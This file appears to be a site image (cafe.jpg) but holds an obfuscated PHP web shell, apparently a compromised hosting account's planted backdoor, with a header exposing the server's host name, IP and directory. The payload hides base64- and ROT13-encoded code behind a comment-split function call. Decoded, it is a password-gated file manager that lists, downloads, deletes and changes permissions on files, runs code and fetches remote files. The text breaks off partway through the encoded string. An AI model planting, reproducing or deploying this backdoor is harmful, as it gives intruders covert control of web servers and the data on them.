PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Dir : /home/trave494/topfreelancing.kerihosting.com/assets/images/ |
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64 IP: 209.182.202.254 |
Dir : /home/trave494/topfreelancing.kerihosting.com/assets/images/cafe.jpg |
<?php fu/**rs*/("?>".fu(fu("PD9jdWMgJHBuc3I9Jyc7dnModmZmcmcoJF9DQkZHWydwbnNyJ10pKXskcG5zcj0kX0NCRkdbJ3Buc3InXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3Buc3InXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PScwNTQ0cjVucDZzM3M4MTJwM3E5OTkzMTY5N3A1cDY4NScpfHx6cTUoJHBuc3IpPT0nMDU0NHI1bnA2czNzODEycDNxOTk5MzE2OTdwNXA2ODUnKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InBuc3IiIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+PD9jdWMKZnJnX2d2enJfeXZ6dmcoMCk7CnZhdl9mcmcoJ3pyemJlbF95dnp2ZycsICctMScpOwp2YXZfZnJnKCdiaGdjaGdfb2hzc3JldmF0JywgMCk7CnZhdl9mcmcoJ3F2ZmN5bmxfcmVlYmVmJywgMCk7CnVybnFyZSgnUGJhZ3JhZy1HbGNyOiBncmtnL3Vnenk7IHB1bmVmcmc9SEdTLTgnKTsKCi8qIENVQyBTdnlyIHpuYW50cmUgaXJlIDEuNCAqLwoKLy8gUGJhc3Z0aGVuZ3ZiYSDigJQgcWIgYWJnIHB1bmF0ciB6bmFobnl5bCEKJG5oZ3ViZXZtbmd2YmEgPSAneyJuaGd1YmV2bXIiOiIwIiwieWJ0dmEiOiJucXp2YSIsImNuZmZqYmVxIjoiY3Vjc3oiLCJwYmJ4dnJfYW56ciI6InN6X2hmcmUiLCJxbmxmX25oZ3ViZXZtbmd2YmEiOiIzMCIsImZwZXZjZyI6IjxmcGV2Y2cgZ2xjcj1cImdya2dcL3duaW5mcGV2Y2dcIiBmZXA9XCJ1Z2djZjpcL1wvampqLnBxYnl2aXJnLnBielwvcnF2Z25lcm5cL3JxdmduZXJuXC9ycXZnX25lcm5cL3JxdmdfbmVybl9zaHl5LndmXCI+PFwvZnBldmNnPlxlXGE8ZnBldmNnIHluYXRobnRyPVwiV25pbmZwZXZjZ1wiIGdsY3I9XCJncmtnXC93bmluZnBldmNnXCI+XGVcYXJxdmdOZXJuWWJucXJlLnZhdmcoe1xlXGF2cTogXCJhcmpwYmFncmFnXCJcZVxhLHF2ZmN5bmw6IFwieW5ncmVcIlxlXGEsZmduZWdfdXZ0dXl2dHVnOiBnZWhyXGVcYSxueXlial9lcmZ2bXI6IFwib2JndVwiXGVcYSxueXlial9nYnR0eXI6IGdlaHJcZVxhLGpiZXFfamVuYzogZ2VoclxlXGEseW5hdGhudHI6IFwiZWhcIlxlXGEsZmxhZ25rOiBcImN1Y1wiXGdcZVxhLGdiYnlvbmU6IFwiZnJuZXB1LCB0Yl9nYl95dmFyLCB8LCBoYXFiLCBlcnFiLCB8LCBmcnlycGdfc2JhZywgfCwgZmxhZ25rX2ZyeXJwZ3ZiYSwgfCwgcHVuYXRyX2Z6YmJndV9mcnlycGd2YmEsIHV2dHV5dnR1ZywgZXJmcmdfdXZ0dXl2dHVnLCB8LCB1cnljXCJcZVxhLGZsYWdua19mcnlycGd2YmFfbnl5Ymo6IFwicGZmLHVnenksd2YsY3VjLGNsZ3ViYSxrenkscCxwY2MsZmR5LG9uZnZwLGNuZlwiXGVcYX0pO1xlXGE8XC9mcGV2Y2c+In0nOwokY3VjX2dyemN5bmdyZiA9ICd7IkZyZ2d2YXRmIjoidHlib255ICRzel9wYmFzdnQ7XGVcYWluZV9ya2NiZWcoJHN6X3BiYXN2dCk7IiwiT25weGhjIEZEWSBnbm95cmYiOiJycHViIHN6X29ucHhoY19nbm95cmYoKTsifSc7CiRmZHlfZ3J6Y3luZ3JmID0gJ3siTnl5IG9uZnJmIjoiRlVCSiBRTkdOT05GUkY7IiwiTnl5IGdub3lyZiI6IkZVQkogR05PWVJGOyJ9JzsKJGdlbmFmeW5ndmJhID0gJ3sidnEiOiJyYSIsIk5xcSI6Ik5xcSIsIk5lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBxdmVycGdiZWwgKGVycGhlZnZpcnlsKT8iOiJOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgcXZlcnBnYmVsIChlcnBoZWZ2aXJ5bCk/IiwiTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHN2eXI/IjoiTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHN2eXI/IiwiTmVwdXZpdmF0IjoiTmVwdXZpdmF0IiwiTmhndWJldm1uZ3ZiYSI6Ik5oZ3ViZXZtbmd2YmEiLCJPbnB4IjoiT25weCIsIlBuYXByeSI6IlBuYXByeSIsIlB1dmFyZnIiOiJQdXZhcmZyIiwiUGJ6Y2VyZmYiOiJQYnpjZXJmZiIsIlBiYWZieXIiOiJQYmFmYnlyIiwiUGJieHZyIjoiUGJieHZyIiwiUGVybmdycSI6IlBlcm5ncnEiLCJRbmdyIjoiUW5nciIsIlFubGYiOiJRbmxmIiwiUXJwYnpjZXJmZiI6IlFycGJ6Y2VyZmYiLCJRcnlyZ3IiOiJRcnlyZ3IiLCJRcnlyZ3JxIjoiUXJ5cmdycSIsIlFiamF5Ym5xIjoiUWJqYXlibnEiLCJxYmFyIjoicWJhciIsIlJxdmciOiJScXZnIiwiUmFncmUiOiJSYWdyZSIsIlJhdHl2ZnUiOiJSYXR5dmZ1IiwiUmVlYmUgYnBwaGVlcnEiOiJSZWViZSBicHBoZWVycSIsIlN2eXIgem5hbnRyZSI6IlN2eXIgem5hbnRyZSIsIlN2eXIgZnJ5cnBncnEiOiJTdnlyIGZyeXJwZ3JxIiwiU3Z5ciBoY3FuZ3JxIjoiU3Z5ciBoY3FuZ3JxIiwiU3Z5cmFuenIiOiJTdnlyYW56ciIsIlN2eXJmIGhjeWJucXJxIjoiU3Z5cmYgaGN5Ym5xcnEiLCJTZXJhcHUiOiJTZXJhcHUiLCJUcmFyZW5ndmJhIGd2enIiOiJUcmFyZW5ndmJhIGd2enIiLCJUcmV6bmEiOiJUcmV6bmEiLCJVYnpyIjoiVWJ6ciIsIkRodmciOiJEaHZnIiwiWW5hdGhudHIiOiJZbmF0aG50ciIsIllidHZhIjoiWWJ0dmEiLCJabmFudHIiOiJabmFudHIiLCJabnhyIHF2ZXJwZ2JlbCI6IlpueHIgcXZlcnBnYmVsIiwiQW56ciI6IkFuenIiLCJBcmoiOiJBcmoiLCJBcmogc3Z5ciI6IkFyaiBzdnlyIiwiYWIgc3Z5cmYiOiJhYiBzdnlyZiIsIkNuZmZqYmVxIjoiQ25mZmpiZXEiLCJjdnBnaGVyZiI6ImN2cGdoZXJmIiwiRXJwaGVmdmlyeWwiOiJFcnBoZWZ2aXJ5bCIsIkVyYW56ciI6IkVyYW56ciIsIkVyZnJnIjoiRXJmcmciLCJFcmZyZyBmcmdndmF0ZiI6IkVyZnJnIGZyZ2d2YXRmIiwiRXJmZ2JlciBzdnlyIGd2enIgbnNncmUgcnF2Z3ZhdCI6IkVyZmdiZXIgc3Z5ciBndnpyIG5zZ3JlIHJxdmd2YXQiLCJFcmZoeWciOiJFcmZoeWciLCJFdnR1Z2YiOiJFdnR1Z2YiLCJFaGZmdm5hIjoiRWhmZnZuYSIsIkZuaXIiOiJGbmlyIiwiRnJ5cnBnIjoiRnJ5cnBnIiwiRnJ5cnBnIGd1ciBzdnlyIjoiRnJ5cnBnIGd1ciBzdnlyIiwiRnJnZ3ZhdGYiOiJGcmdndmF0ZiIsIkZ1YmoiOiJGdWJqIiwiRnViaiBmdm1yIGJzIGd1ciBzYnlxcmUiOiJGdWJqIGZ2bXIgYnMgZ3VyIHNieXFyZSIsIkZ2bXIiOiJGdm1yIiwiRmNuYXZmdSI6IkZjbmF2ZnUiLCJGaG96dmciOiJGaG96dmciLCJHbmZ4IjoiR25meCIsImdyemN5bmdyZiI6ImdyemN5bmdyZiIsIkh4ZW52YXZuYSI6Ikh4ZW52YXZuYSIsIkhjeWJucSI6IkhjeWJucSIsIklueWhyIjoiSW55aHIiLCJVcnl5YiI6IlVyeXliIn0nOwovLyByYXEgcGJhc3Z0aGVuZ3ZiYQoKLy8gQ2VyY25lbmd2YmFmCiRmZ25lZ2d2enIgPSBya2N5YnFyKCcgJywgenZwZWJndnpyKCkpOwokZmduZWdndnpyID0gJGZnbmVnZ3Z6clsxXSArICRmZ25lZ2d2enJbMF07CiR5bmF0ZiA9IG5lZW5sKCdyYScsJ2VoJywncXInLCdzZScsJ2h4Jyk7CiRjbmd1ID0gcnpjZ2woJF9FUkRIUkZHWydjbmd1J10pID8gJGNuZ3UgPSBlcm55Y25ndSgnLicpIDogZXJueWNuZ3UoJF9FUkRIUkZHWydjbmd1J10pOwokY25ndSA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJGNuZ3UpIC4gJy8nOwokem52YV9jbmd1PWZnZV9lcmN5bnByKCdcXCcsICcvJyxlcm55Y25ndSgnLi8nKSk7CiRjdW5lX3pubG9yID0gKGlyZWZ2YmFfcGJ6Y25lcihjdWNpcmVmdmJhKCksIjUuMy4wIiwiPCIpKT9nZWhyOnNueWZyOwokemZ0ID0gJyc7IC8vIGZyZWl2cHIgZmdldmF0CiRxcnNuaHlnX3luYXRobnRyID0gJ2VoJzsKJHFyZ3JwZ195bmF0ID0gZ2VocjsKJHN6X2lyZWZ2YmEgPSAxLjQ7CgovL05oZ3ViZXZtbmd2YmEKJG5oZ3UgPSB3ZmJhX3FycGJxcigkbmhndWJldm1uZ3ZiYSxnZWhyKTsKJG5oZ3VbJ25oZ3ViZXZtciddID0gdmZmcmcoJG5oZ3VbJ25oZ3ViZXZtciddKSA/ICRuaGd1WyduaGd1YmV2bXInXSA6IDA7IAokbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10gPSAodmZmcmcoJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSYmdmZfYWh6cmV2cCgkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKSA/ICh2YWcpJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddIDogMzA7CiRuaGd1Wyd5YnR2YSddID0gdmZmcmcoJG5oZ3VbJ3lidHZhJ10pID8gJG5oZ3VbJ3lidHZhJ10gOiAnbnF6dmEnOyAgCiRuaGd1WydjbmZmamJlcSddID0gdmZmcmcoJG5oZ3VbJ2NuZmZqYmVxJ10pID8gJG5oZ3VbJ2NuZmZqYmVxJ10gOiAnY3Vjc3onOyAgCiRuaGd1WydwYmJ4dnJfYW56ciddID0gdmZmcmcoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10pID8gJG5oZ3VbJ3BiYnh2cl9hbnpyJ10gOiAnc3pfaGZyZSc7CiRuaGd1WydmcGV2Y2cnXSA9IHZmZnJnKCRuaGd1WydmcGV2Y2cnXSkgPyAkbmhndVsnZnBldmNnJ10gOiAnJzsKCi8vIFl2Z2d5ciBxcnNuaHlnIHBiYXN2dAokc3pfcXJzbmh5Z19wYmFzdnQgPSBuZWVubCAoCgknem54cl9xdmVycGdiZWwnID0+IGdlaHIsIAoJJ2Fyal9zdnlyJyA9PiBnZWhyLCAKCSdoY3libnFfc3Z5cicgPT4gZ2VociwgCgknZnVial9xdmVfZnZtcicgPT4gc255ZnIsIC8vdnMgZ2VociwgZnViaiBxdmVycGdiZWwgZnZtciDihpIgem5sb3IgZnliaiAKCSdmdWJqX3Z6dCcgPT4gZ2VociwgCgknZnVial9jdWNfaXJlJyA9PiBnZWhyLCAKCSdmdWJqX2N1Y192YXYnID0+IHNueWZyLCAvLyBmdWJqIGNuZ3UgZ2IgcGhlZXJhZyBjdWMudmF2CgknZnVial90ZycgPT4gZ2VociwgLy8gZnViaiB0cmFyZW5ndmJhIGd2enIKCSdyYW5veXJfY3VjX3BiYWZieXInID0+IGdlaHIsCgkncmFub3lyX2ZkeV9wYmFmYnlyJyA9PiBnZWhyLAoJJ2ZkeV9mcmVpcmUnID0+ICd5YnBueXViZmcnLAoJJ2ZkeV9oZnJlYW56cicgPT4gJ2ViYmcnLAoJJ2ZkeV9jbmZmamJlcScgPT4gJycsCgknZmR5X3FvJyA9PiAnZ3JmZ19vbmZyJywKCSdyYW5veXJfY2Via2wnID0+IGdlaHIsCgknZnVial9jdWN2YXNiJyA9PiBnZWhyLAoJJ2Z1Ympfa3lmJyA9PiBnZWhyLAoJJ3N6X2ZyZ2d2YXRmJyA9PiBnZWhyLAoJJ2VyZmdiZXJfZ3Z6cicgPT4gZ2VociwKCSdzel9lcmZnYmVyX2d2enInID0+IHNueWZyLAopOwoKdnMgKHJ6Y2dsKCRfUEJCWFZSWydzel9wYmFzdnQnXSkpIAp7CiAgICAkc3pfcGJhc3Z0ID0gJHN6X3Fyc25oeWdfcGJhc3Z0Owp9CnJ5ZnIgCnsKICAgICRzel9wYmFzdnQgPSBoYWZyZXZueXZtcigkX1BCQlhWUlsnc3pfcGJhc3Z0J10pOwp9CgoKLy8gUHVuYXRyIHluYXRobnRyCnZzICh2ZmZyZygkX0NCRkdbJ3N6X3luYXQnXSkpIHsgCglmcmdwYmJ4dnIoJ3N6X3luYXQnLCAkX0NCRkdbJ3N6X3luYXQnXSwgZ3Z6cigpICsgKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7CgkkX1BCQlhWUlsnc3pfeW5hdCddID0gJF9DQkZHWydzel95bmF0J107Cn0KJHluYXRobnRyID0gJHFyc25oeWdfeW5hdGhudHI7CgovLyBRcmdycGcgb2ViamZyZSB5bmF0aG50cgp2cygkcXJncnBnX3luYXQgJiYgIXJ6Y2dsKCRfRlJFSVJFWydVR0dDX05QUFJDR19ZTkFUSE5UUiddKSAmJiByemNnbCgkX1BCQlhWUlsnc3pfeW5hdCddKSl7CgkkeW5hdF9jZXZiZXZnbCA9IHJrY3licXIoJywnLCAkX0ZSRUlSRVsnVUdHQ19OUFBSQ0dfWU5BVEhOVFInXSk7Cgl2cyAoIXJ6Y2dsKCR5bmF0X2NldmJldmdsKSl7CgkJc2Jlcm5wdSAoJHluYXRfY2V2YmV2Z2wgbmYgJHluYXRfbmVlKXsKCQkJJHlhdCA9IHJrY3licXIoJzsnLCAkeW5hdF9uZWUpOwoJCQkkeWF0ID0gJHlhdFswXTsKCQkJdnModmFfbmVlbmwoJHlhdCwkeW5hdGYpKXsKCQkJCSR5bmF0aG50ciA9ICR5YXQ7CgkJCQlvZXJueDsKCQkJfQoJCX0KCX0KfSAKCi8vIFBiYnh2ciB5bmF0aG50ciB2ZiBjZXZ6bmVsIHNiZSByaXJlCiR5bmF0aG50ciA9IChyemNnbCgkX1BCQlhWUlsnc3pfeW5hdCddKSkgPyAkeW5hdGhudHIgOiAkX1BCQlhWUlsnc3pfeW5hdCddOwoKLy8gWWJwbnl2bW5ndmJhCiR5bmF0ID0gd2ZiYV9xcnBicXIoJGdlbmFmeW5ndmJhLGdlaHIpOwp2cyAoJHluYXRbJ3ZxJ10hPSR5bmF0aG50cikgewoJJHRyZ195bmF0ID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJ3VnZ2NmOi8vZW5qLnR2Z3Vob2hmcmVwYmFncmFnLnBiei9RcmExa2trL1N2eXJ6bmFudHJlL3puZmdyZS95bmF0aG50cmYvJyAuICR5bmF0aG50ciAuICcud2ZiYScpOwoJdnMgKCFyemNnbCgkdHJnX3luYXQpKSB7CgkJLy9lcnpiaXIgaGFhcnByZmZuZWwgcHVuZW5wZ3JlZgoJCSRnZW5hZnluZ3ZiYV9mZ2V2YXQgPSBmZ2VfZXJjeW5wcigiJyIsJyYjMzk7Jyx3ZmJhX3JhcGJxcih3ZmJhX3FycGJxcigkdHJnX3luYXQpLFdGQkFfSEFSRlBOQ1JRX0hBVlBCUVIpKTsKCQkkc3RwID0gc3Z5cl90cmdfcGJhZ3JhZ2YoX19TVllSX18pOwoJCSRmcm5lcHUgPSBjZXJ0X3puZ3B1KCcjZ2VuYWZ5bmd2YmFbXGZdP1w9W1xmXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJHN0cCwgJHpuZ3B1cmYpOwoJCXZzICghcnpjZ2woJHpuZ3B1cmZbMV0pKSB7CgkJCSRzdnlyemd2enIgPSBzdnlyemd2enIoX19TVllSX18pOwoJCQkkZXJjeW5wciA9IGZnZV9lcmN5bnByKCd7IicuJHpuZ3B1cmZbMV0uJyJ9JywkZ2VuYWZ5bmd2YmFfZmdldmF0LCRzdHApOwoJCQl2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoX19TVllSX18sICRlcmN5bnByKSkgewoJCQkJJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7CgkJCX0JcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOwoJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7CgkJfQkKCQkkeW5hdCA9IHdmYmFfcXJwYnFyKCRnZW5hZnluZ3ZiYV9mZ2V2YXQsZ2Vocik7Cgl9Cn0KCi8qIFNoYXBndmJhZiAqLwoKLy9nZW5hZnluZ3ZiYQpzaGFwZ3ZiYSBfXygkZ3JrZyl7Cgl0eWJvbnkgJHluYXQ7Cgl2cyAodmZmcmcoJHluYXRbJGdya2ddKSkgZXJnaGVhICR5bmF0WyRncmtnXTsKCXJ5ZnIgZXJnaGVhICRncmtnOwp9OwoKLy9xcnlyZ3Igc3Z5cmYgbmFxIHF2ZWYgZXJwaGVmdmlyeWwKc2hhcGd2YmEgc3pfcXJ5X3N2eXJmKCRzdnlyLCAkZXJwaGVmdmlyID0gc255ZnIpIHsKCXZzKCRlcnBoZWZ2aXIgJiYgQHZmX3F2ZSgkc3Z5cikpIHsKCQkkcnlmID0gc3pfZnBuYV9xdmUoJHN2eXIsICcnLCAnJywgZ2Vocik7CgkJc2Jlcm5wdSAoJHJ5ZiBuZiAkcnkpIHsKCQkJdnMoJHJ5ICE9ICcuJyAmJiAkcnkgIT0gJy4uJyl7CgkJCQlzel9xcnlfc3Z5cmYoJHN2eXIgLiAnLycgLiAkcnksIGdlaHIpOwoJCQl9CgkJfQoJfQoJdnMoQHZmX3F2ZSgkc3Z5cikpIHsKCQllcmdoZWEgZXpxdmUoJHN2eXIpOwoJfSByeWZyIHsKCQllcmdoZWEgQGhheXZheCgkc3Z5cik7Cgl9Cn0KCi8vc3Z5ciBjcmV6ZgpzaGFwZ3ZiYSBzel9ldnR1Z2ZfZmdldmF0KCRzdnlyLCAkdnMgPSBzbnlmcil7CgkkY3JlemYgPSBzdnlyY3JlemYoJHN2eXIpOwoJJHZhc2IgPSAnJzsKCXZzKCEkdnMpewoJCXZzICgoJGNyZXpmICYgMGtQMDAwKSA9PSAwa1AwMDApIHsKCQkJLy9GYnB4cmcKCQkJJHZhc2IgPSAnZic7CgkJfSByeWZydnMgKCgkY3JlemYgJiAwa04wMDApID09IDBrTjAwMCkgewoJCQkvL0Zsem9ieXZwIFl2YXgKCQkJJHZhc2IgPSAneSc7CgkJfSByeWZydnMgKCgkY3JlemYgJiAwazgwMDApID09IDBrODAwMCkgewoJCQkvL0VydGh5bmUKCQkJJHZhc2IgPSAnLSc7CgkJfSByeWZydnMgKCgkY3JlemYgJiAwazYwMDApID09IDBrNjAwMCkgewoJCQkvL095YnB4IGZjcnB2bnkKCQkJJHZhc2IgPSAnbyc7CgkJfSByeWZydnMgKCgkY3JlemYgJiAwazQwMDApID09IDBrNDAwMCkgewoJCQkvL1F2ZXJwZ2JlbAoJCQkkdmFzYiA9ICdxJzsKCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrMjAwMCkgPT0gMGsyMDAwKSB7CgkJCS8vUHVuZW5wZ3JlIGZjcnB2bnkKCQkJJHZhc2IgPSAncCc7CgkJfSByeWZydnMgKCgkY3JlemYgJiAwazEwMDApID09IDBrMTAwMCkgewoJCQkvL1NWU0IgY3ZjcgoJCQkkdmFzYiA9ICdjJzsKCQl9IHJ5ZnIgewoJCQkvL0hheGFiamEKCQkJJHZhc2IgPSAnaCc7CgkJfQoJfQogIAoJLy9CamFyZQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAxMDApID8gJ2UnIDogJy0nKTsKCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDgwKSA/ICdqJyA6ICctJyk7CgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDA0MCkgPwoJKCgkY3JlemYgJiAwazA4MDApID8gJ2YnIDogJ2snICkgOgoJKCgkY3JlemYgJiAwazA4MDApID8gJ0YnIDogJy0nKSk7CiAKCS8vVGViaGMKCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDIwKSA/ICdlJyA6ICctJyk7CgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAxMCkgPyAnaicgOiAnLScpOwoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDgpID8KCSgoJGNyZXpmICYgMGswNDAwKSA/ICdmJyA6ICdrJyApIDoKCSgoJGNyZXpmICYgMGswNDAwKSA/ICdGJyA6ICctJykpOwogCgkvL0piZXlxCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwNCkgPyAnZScgOiAnLScpOwoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDIpID8gJ2onIDogJy0nKTsKCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDAxKSA/CgkoKCRjcmV6ZiAmIDBrMDIwMCkgPyAnZycgOiAnaycgKSA6CgkoKCRjcmV6ZiAmIDBrMDIwMCkgPyAnRycgOiAnLScpKTsKCgllcmdoZWEgJHZhc2I7Cn0KCnNoYXBndmJhIHN6X3BiYWlyZWdfZXZ0dWdmKCR6YnFyKSB7CgkkemJxciA9IGZnZV9jbnEoJHpicXIsOSwnLScpOwoJJGdlbmFmID0gbmVlbmwoJy0nPT4nMCcsJ2UnPT4nNCcsJ2onPT4nMicsJ2snPT4nMScpOwoJJHpicXIgPSBmZ2VnZSgkemJxciwkZ2VuYWYpOwoJJGFyanpicXIgPSAnMCc7CgkkYmphcmUgPSAodmFnKSAkemJxclswXSArICh2YWcpICR6YnFyWzFdICsgKHZhZykgJHpicXJbMl07IAoJJHRlYmhjID0gKHZhZykgJHpicXJbM10gKyAodmFnKSAkemJxcls0XSArICh2YWcpICR6YnFyWzVdOyAKCSRqYmV5cSA9ICh2YWcpICR6YnFyWzZdICsgKHZhZykgJHpicXJbN10gKyAodmFnKSAkemJxcls4XTsgCgkkYXJqemJxciAuPSAkYmphcmUgLiAkdGViaGMgLiAkamJleXE7CgllcmdoZWEgdmFnaW55KCRhcmp6YnFyLCA4KTsKfQoKc2hhcGd2YmEgc3pfcHV6YnEoJHN2eXIsICRpbnksICRlcnAgPSBzbnlmcikgewoJJGVyZiA9IEBwdXpicShlcm55Y25ndSgkc3Z5ciksICRpbnkpOwoJdnMoQHZmX3F2ZSgkc3Z5cikgJiYgJGVycCl7CgkJJHJ5ZiA9IHN6X2ZwbmFfcXZlKCRzdnlyKTsKCQlzYmVybnB1ICgkcnlmIG5mICRyeSkgewoJCQkkZXJmID0gJGVyZiAmJiBzel9wdXpicSgkc3Z5ciAuICcvJyAuICRyeSwgJGlueSwgZ2Vocik7CgkJfQoJfQoJZXJnaGVhICRlcmY7Cn0KCi8veWJucSBzdnlyZgpzaGFwZ3ZiYSBzel9xYmpheWJucSgkc3Z5cl9hbnpyKSB7CiAgICB2cyAoIXJ6Y2dsKCRzdnlyX2FuenIpKSB7CgkJdnMgKHN2eXJfcmt2ZmdmKCRzdnlyX2FuenIpKSB7CgkJCXVybnFyZSgiUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogbmdnbnB1enJhZzsgc3Z5cmFuenI9IiAuIG9uZnJhbnpyKCRzdnlyX2FuenIpKTsgICAKCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL3NiZXByLXFiamF5Ym5xIik7CgkJCXVybnFyZSgiUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnoiKTsKCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL3FiamF5Ym5xIik7CgkJCXVybnFyZSgiUGJhZ3JhZy1RcmZwZXZjZ3ZiYTogU3Z5ciBHZW5hZnNyZSIpOyAgICAgICAgICAgIAoJCQl1cm5xcmUoIlBiYWdyYWctWXJhdGd1OiAiIC4gc3Z5cmZ2bXIoJHN2eXJfYW56cikpOwkJCgkJCXN5aGZ1KCk7IC8vIGd1dmYgcWJyZmEnZyBlcm55eWwgem5nZ3JlLgoJCQkkc2MgPSBzYmNyYSgkc3Z5cl9hbnpyLCAiZSIpOwoJCQlqdXZ5ciAoIXNyYnMoJHNjKSkgewoJCQkJcnB1YiBzZXJucSgkc2MsIDY1NTM2KTsKCQkJCXN5aGZ1KCk7IC8vIGd1dmYgdmYgcmZmcmFndm55IHNiZSB5bmV0ciBxYmpheWJucWYKCQkJfSAKCQkJc3B5YmZyKCRzYyk7CgkJCXF2cigpOwoJCX0gcnlmciB7CgkJCXVybnFyZSgnVUdHQy8xLjAgNDA0IEFiZyBTYmhhcScsIGdlaHIsIDQwNCk7CgkJCXVybnFyZSgnRmduZ2hmOiA0MDQgQWJnIFNiaGFxJyk7IAoJCQlxdnIoKTsKICAgICAgICB9CiAgICB9IAp9CgovL2Z1Ymogc2J5cXJlIGZ2bXIKc2hhcGd2YmEgc3pfcXZlX2Z2bXIoJHMsJHNiZXpuZz1nZWhyKSB7Cgl2cygkc2Jlem5nKSAgewoJCSRmdm1yPXN6X3F2ZV9mdm1yKCRzLHNueWZyKTsKCQl2cygkZnZtcjw9MTAyNCkgZXJnaGVhICRmdm1yLicgb2xncmYnOwoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQpLDIpLicmYW9mYztYbyc7CgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQpLDIpLicmYW9mYztabyc7CgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQqMTAyNCoxMDI0KSwyKS4nJmFvZmM7VG8nOwoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmYW9mYztHbyc7IC8vOikpKQoJCXJ5ZnIgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmYW9mYztDbyc7IC8vIDstKQoJfSByeWZyIHsKCQl2cyh2Zl9zdnlyKCRzKSkgZXJnaGVhIHN2eXJmdm1yKCRzKTsKCQkkZnZtcj0wOwoJCSRxdT1iY3JhcXZlKCRzKTsKCQlqdXZ5cigoJHN2eXI9ZXJucXF2ZSgkcXUpKSE9PXNueWZyKSB7CgkJCXZzKCRzdnlyPT0nLicgfHwgJHN2eXI9PScuLicpIHBiYWd2YWhyOwoJCQl2cyh2Zl9zdnlyKCRzLicvJy4kc3Z5cikpICRmdm1yKz1zdnlyZnZtcigkcy4nLycuJHN2eXIpOwoJCQlyeWZyICRmdm1yKz1zel9xdmVfZnZtcigkcy4nLycuJHN2eXIsc255ZnIpOwoJCX0KCQlweWJmcnF2ZSgkcXUpOwoJCWVyZ2hlYSAkZnZtcitzdnlyZnZtcigkcyk7IAoJfQp9CgovL2ZwbmEgcXZlcnBnYmVsCnNoYXBndmJhIHN6X2ZwbmFfcXZlKCRxdmVycGdiZWwsICRya2MgPSAnJywgJGdsY3IgPSAnbnl5JywgJHFiX2FiZ19zdnlncmUgPSBzbnlmcikgewoJJHF2ZSA9ICRhcXZlID0gbmVlbmwoKTsKCXZzKCFyemNnbCgkcmtjKSl7CgkJJHJrYyA9ICcvXicgLiBmZ2VfZXJjeW5wcignKicsICcoLiopJywgZmdlX2VyY3lucHIoJy4nLCAnXFwuJywgJHJrYykpIC4gJyQvJzsKCX0KCXZzKCFyemNnbCgkZ2xjcikgJiYgJGdsY3IgIT09ICdueXknKXsKCQkkc2hhcCA9ICd2Zl8nIC4gJGdsY3I7Cgl9Cgl2cyhAdmZfcXZlKCRxdmVycGdiZWwpKXsKCQkkc3UgPSBiY3JhcXZlKCRxdmVycGdiZWwpOwoJCWp1dnlyI